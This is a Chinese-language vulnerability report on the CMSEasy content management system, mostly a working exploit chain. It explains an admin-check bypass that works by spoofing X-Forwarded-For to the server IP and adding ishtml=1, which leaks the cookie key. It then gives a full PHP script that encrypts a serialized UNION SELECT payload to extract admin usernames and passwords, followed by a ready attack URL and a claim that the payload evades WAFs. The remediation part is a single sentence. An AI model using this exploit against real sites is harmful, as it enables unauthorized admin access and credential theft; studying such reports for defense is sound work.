cmseasy后台可以未授权访问，在/lib/admin/admin.php中：

 

if (!defined('ROOT')) exit('Can\'t Access !');
abstract class admin extends act {
    function __construct() {
        if (ADMIN_DIR!=config::get('admin_dir')) {
            config::modify(array('admin_dir'=>ADMIN_DIR));
            front::flash('后台目录更改成功！');
        }
        front::$rewrite=false;
        parent::__construct();
        $servip = gethostbyname($_SERVER['SERVER_NAME']);
        //if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
        if($servip==front::ip()&&front::get('ishtml')==1) return;
        $this->check_admin();
    }

这个抽象类是所有后台类继承得到的，当用户IP（可以通过x-forwarded-for伪造）和服务器IP相同且ishtml=1的话，就能不执行check_admin，造成未授权访问。

可以通过一些插件修改：
 

如上图，修改IP以后在后台url后加上ishtml=1，即可访问后台页面。可看到cookie安全码：
 

拿到了这个安全码，就能干一些坏事。



比如注入。看到/lib/admin/admin_act.php，58行：
 

function remotelogin_action() {
        cookie::del('passinfo');
        $this->view->loginfalse=cookie::get('loginfalse'.md5($_SERVER['REQUEST_URI']));
        if (front::$args) {
            $user=new user();
            $args = xxtea_decrypt(base64_decode(front::$args), config::get('cookie_password'));
            $user=$user->getrow(unserialize($args));
            if (is_array($user)) {
                if ($user['groupid'] == '888')
                    front::$isadmin=true;
                cookie::set('login_username',$user['username']);
                cookie::set('login_password',front::cookie_encode($user['password']));
                session::set('username',$user['username']);
                require_once ROOT.'/celive/include/config.inc.php';
                require_once ROOT.'/celive/include/celive.class.php';
                $login=new celive();
                $login->auth();
                $GLOBALS['auth']->remotelogin($user['username'],$user['password']);
                $GLOBALS['auth']->check_login1();
                front::$user=$user;
            }elseif (!is_array(front::$user) ||!isset(front::$isadmin)) {
                cookie::set('loginfalse'.md5($_SERVER['REQUEST_URI']),(int) cookie::get('loginfalse'.md5($_SERVER['REQUEST_URI'])) +1,time() +3600);
                event::log('loginfalse','失败 user='.$user['username']);
                front::flash('密码错误或不存在该管理员！');
                front::refresh(url('admin/login',true));
            }
        }
        $this->render();
    }

远程登录的函数，先获得$args，并base64解码，解码以后再xxtea解密（密钥就是刚才得到的字符串），解密以后再反序列化得到一个对象，直接放进数据库中查询。

也就是说，我有了密钥，就能构造一个注入语句进行注入，而且因为最后的数据是base64编码过的，所以根本不怕任何waf，比如360webscan。
 

脚本如下。把xxtea的加密函数拷贝出来，将注入语句构造好，输出来：
 

<?php

$key = '719ef7a50950de7935ec4a9ebc201bba';

$table = array(
'userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1
);

echo base64_encode(xxtea_encrypt(serialize($table), $key));

function xxtea_encrypt($str, $key) {
    if ($str == "") {
        return "";
    }
    $v = str2long($str, true);
    $k = str2long($key, false);
    if (count($k) < 4) {
        for ($i = count($k); $i < 4; $i++) {
            $k[$i] = 0;
        }
    }
    $n = count($v) - 1;

    $z = $v[$n];
    $y = $v[0];
    $delta = 0x9E3779B9;
    $q = floor(6 + 52 / ($n + 1));
    $sum = 0;
    while (0 < $q--) {
        $sum = int32($sum + $delta);
        $e = $sum >> 2 & 3;
        for ($p = 0; $p < $n; $p++) {
            $y = $v[$p + 1];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $z = $v[$p] = int32($v[$p] + $mx);
        }
        $y = $v[0];
        $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
        $z = $v[$n] = int32($v[$n] + $mx);
    }
    return long2str($v, false);
}

function xxtea_decrypt($str, $key) {
    if ($str == "") {
        return "";
    }
    $v = str2long($str, false);
    $k = str2long($key, false);
    if (count($k) < 4) {
        for ($i = count($k); $i < 4; $i++) {
            $k[$i] = 0;
        }
    }
    $n = count($v) - 1;

    $z = $v[$n];
    $y = $v[0];
    $delta = 0x9E3779B9;
    $q = floor(6 + 52 / ($n + 1));
    $sum = int32($q * $delta);
    while ($sum != 0) {
        $e = $sum >> 2 & 3;
        for ($p = $n; $p > 0; $p--) {
            $z = $v[$p - 1];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $y = $v[$p] = int32($v[$p] - $mx);
        }
        $z = $v[$n];
        $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
        $y = $v[0] = int32($v[0] - $mx);
        $sum = int32($sum - $delta);
    }
    return long2str($v, true);
}

function long2str($v, $w) {
    $len = count($v);
    $n = ($len - 1) << 2;
    if ($w) {
        $m = $v[$len - 1];
        if (($m < $n - 3) || ($m > $n)) return false;
        $n = $m;
    }
    $s = array();
    for ($i = 0; $i < $len; $i++) {
        $s[$i] = pack("V", $v[$i]);
    }
    if ($w) {
        return substr(join('', $s), 0, $n);
    }
    else {
        return join('', $s);
    }
}

function str2long($s, $w) {
    $v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
    $v = array_values($v);
    if ($w) {
        $v[count($v)] = strlen($s);
    }
    return $v;
}

function int32($n) {
    while ($n >= 2147483648) $n -= 4294967296;
    while ($n <= -2147483649) $n += 4294967296;
    return (int)$n;
}

获得加密后的字符串如下：
 

 

http://localhost/easy/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=QMXXAzZMw2utUoKklvRtfvs5iHUKa6JW%2bzJVLgrICaWC%2bl2em2Wu8mZPxZzlWFhUgyHnYP3hQauMpIOTpVu2hfjUto88GN%2fbHbm8H1cpvLM3SHXYHPPO4Ws1646TUSebzZsQ9kd8FseLKar%2bIrkmc5sCDAI4Bjo6%2fXzD11e1p%2b4704JukSWsNQ4wwNbuuEyMDK%2fQtHZm%2fNv1jczk

访问，就可以将cookie设置成注入获得的数据：
 

 

修复方案：

加密过的内容也不能随便相信，如果key泄露了呢？